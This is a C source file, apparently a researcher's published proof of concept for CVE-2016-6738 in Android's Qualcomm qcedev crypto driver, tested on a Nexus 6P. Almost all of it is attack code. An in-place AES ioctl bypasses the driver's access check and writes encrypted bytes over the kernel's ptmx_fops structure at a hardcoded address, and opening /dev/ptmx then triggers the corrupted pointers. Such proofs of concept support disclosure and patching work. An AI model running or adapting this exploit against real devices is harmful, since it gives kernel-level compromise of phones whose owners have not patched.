/*
* cve-2016-6738
* https://issuetracker.google.com/issues/37109330
* https://source.android.com/security/bulletin/2016-11-01.html
* Test in nexus6p with fingerpinrt: google/angler/angler:6.0.1/MTC19V/2862947:user/release-keys
* Author:  Gengjia Chen, (chengjia4574@gmail.com)
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/wireless.h>
#include "qcedev.h"

void test_ioctl(int fd)
{
#define SIZE 60000
#define PTMX_FOPS_KERNEL_ADDRESS 0xffffffc001aa94a0
	int ret, cmd, i;
	int fdptmx;
	char buf[SIZE];
	char *data;
	struct qcedev_cipher_op_req params;
	memset(&params, 0, sizeof(params));
	cmd = QCEDEV_IOCTL_ENC_REQ;
	params.mode = QCEDEV_AES_MODE_ECB;
	params.entries = 1;
	params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
	params.op = QCEDEV_OPER_ENC;
	params.data_len = SIZE;
	params.vbuf.src[0].len = SIZE;
	params.vbuf.src[0].vaddr = &buf[0];
	params.vbuf.dst[0].len = SIZE;
	params.vbuf.dst[0].vaddr = (char*)PTMX_FOPS_KERNEL_ADDRESS; // modify ptmx_fops
	memcpy(params.enckey,"JiayyIceSwordLab", 16);
	params.encklen = 16;
	
	ret = ioctl(fd, cmd, &params); // trigger 
	if(ret<0) {
		printf("ioctl fail %s\n",strerror(errno));
		return;
	}
	printf("ioctl ok\n");

	fdptmx = open("/dev/ptmx",O_RDWR); // trigger   
	if(fdptmx<0) {
		printf("open /dev/ptmx fail %s\n",strerror(errno));
		return;
	}
	printf("open /dev/ptmx succ\n");
}

	int
main(int argc, char *argv[])
{
	char* path = "/dev/qce";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_ioctl(fd);
	close(fd);
	return 0;
}
